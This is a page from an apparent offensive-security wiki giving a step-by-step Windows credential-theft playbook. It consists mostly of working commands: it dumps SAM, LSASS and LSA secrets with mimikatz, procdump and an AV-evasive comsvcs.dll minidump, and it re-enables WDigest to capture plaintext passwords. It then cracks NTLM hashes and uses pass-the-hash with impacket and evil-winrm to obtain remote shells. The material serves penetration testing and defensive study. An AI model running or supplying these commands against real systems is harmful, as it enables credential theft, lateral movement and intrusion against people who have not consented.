# Windows Password Attacks – Hash Dumping and Cracking

- **URL:** https://hackindex.io/platforms/windows/privilege-escalation/windows-password-attacks
- **Path:** Windows > Privilege Escalation
- **Up:** [Privilege Escalation](https://hackindex.io/platforms/windows/privilege-escalation.md)
- **Published:** 2026-03-15
- **Updated:** 2026-05-15

Once you have local admin or SYSTEM access, dumping password hashes from SAM and LSASS gives you credentials for every local account. What you can extract depends on the source:

- SAM database: NTLM hashes for all local accounts
- LSASS memory: NTLM hashes, Kerberos tickets, and plaintext passwords (if WDigest is enabled)
- LSA secrets: service account passwords and auto-logon credentials

Hashes can be used directly for pass-the-hash authentication or cracked offline for plaintext passwords.

## Prerequisites Check

Hash dumping from SAM requires local admin. LSASS dumping requires `SeDebugPrivilege` (present for local admins by default):

```bash
whoami /priv | findstr SeDebugPrivilege
net localgroup administrators | findstr %USERNAME%
```

## SAM Database: Local Account Hashes

The SAM database contains NTLM hashes for all local accounts. It is locked while Windows is running but can be copied via reg save or Volume Shadow Copy.

**Method 1: reg save (requires local admin):**

```bash
reg save HKLM\SAM C:\Windows\Temp\SAM
reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM
```

Transfer to attack box and extract:

```bash
impacket-secretsdump -sam SAM -system SYSTEM LOCAL
```

**Method 2: Remote extraction (if you have admin creds):**

```bash
impacket-secretsdump DOMAIN/Administrator:Password@$TARGET_IP
impacket-secretsdump -hashes :NTHASH Administrator@$TARGET_IP
```

## LSASS: Plaintext Passwords and Hashes

LSASS caches logon session credentials in memory. On Windows with WDigest enabled (older systems), plaintext passwords are available. On modern Windows, you typically get NTLM hashes and Kerberos tickets.

**Method 1: Mimikatz (in-memory):**

```bash
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
```

Output includes plaintext passwords (if WDigest is enabled) and NTLM hashes for all logged-in users.

**Method 2: Mimikatz one-liner:**

```bash
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" "lsadump::sam" "exit" > C:\Windows\Temp\loot.txt
```

**Method 3: LSASS memory dump (AV-evasive):**

Create a minidump of LSASS without running mimikatz on the target:

```bash
# Task Manager method (GUI)
# Open Task Manager → Details → lsass.exe → Right-click → Create dump file

# ProcDump (Sysinternals)
.\procdump.exe -ma lsass.exe C:\Windows\Temp\lsass.dmp

# comsvcs.dll method (built-in, no extra binary)
powershell "Get-Process lsass | %{C:\Windows\System32\rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump $($_.Id) C:\Windows\Temp\lsass.dmp full;Break}"

# Task Scheduler method: resolve PID in cmd first
for /f "tokens=2" %a in ('tasklist ^| findstr lsass') do set LSASSPID=%a
schtasks /create /sc once /st 00:00 /tn lsass_dump /tr "C:\Windows\System32\rundll32.exe C:\Windows\System32\comsvcs.dllMiniDump %LSASSPID% C:\Windows\Temp\lsass.dmp full" /ru SYSTEM
schtasks /run /tn lsass_dump
```

Transfer the dump to your attack box and extract with mimikatz:

```bash
# On attack box using pypykatz
pipx install pypykatz
pypykatz lsa minidump lsass.dmp
```

Or on Windows with mimikatz:

```bash
.\mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" "exit"
```

## Cracking NTLM Hashes

```bash
# Hashcat: very fast with GPU
hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

# John: CPU-based
john --format=NT hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

# Identify hash format
hashid "NTHASH"
```

Format for hashcat: just the NT hash (32 hex chars). Format for john: `username:hash` or just the hash.

## Pass-the-Hash

Use the NT hash directly without cracking:

```bash
# Get a shell via psexec
impacket-psexec -hashes :NTHASH Administrator@$TARGET_IP

# WMI execution
impacket-wmiexec -hashes :NTHASH Administrator@$TARGET_IP

# SMB exec
impacket-smbexec -hashes :NTHASH Administrator@$TARGET_IP

# WinRM
evil-winrm -i $TARGET_IP -u Administrator -H NTHASH

# CrackMapExec for verification
nxc smb $TARGET_IP -u Administrator -H NTHASH
```

## Enable WDigest for Plaintext Passwords

On targets where WDigest is disabled (Windows 8.1+ default), enable it and wait for the user to log in again:

```bash
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
```

After the user logs out and back in, plaintext passwords are available in LSASS.

## LSA Secrets: Service Account Passwords

LSA secrets contain service account passwords, auto-logon passwords, and other system secrets:

```bash
# Remote extraction
impacket-secretsdump DOMAIN/Administrator:Password@$TARGET_IP

# Local extraction (requires SYSTEM)
.\mimikatz.exe "privilege::debug" "lsadump::secrets" "exit"
```

## References

- [mimikatz](https://github.com/gentilkiwi/mimikatz) - gentilkiwi Windows credential extraction from LSASS and SAM.
- [impacket](https://github.com/fortra/impacket) -  fortra secretsdump, psexec, and other credential extraction tools.
- [Hashcat Documentation](https://hashcat.net/wiki/) - NTLM hash cracking mode 1000 reference and rule files.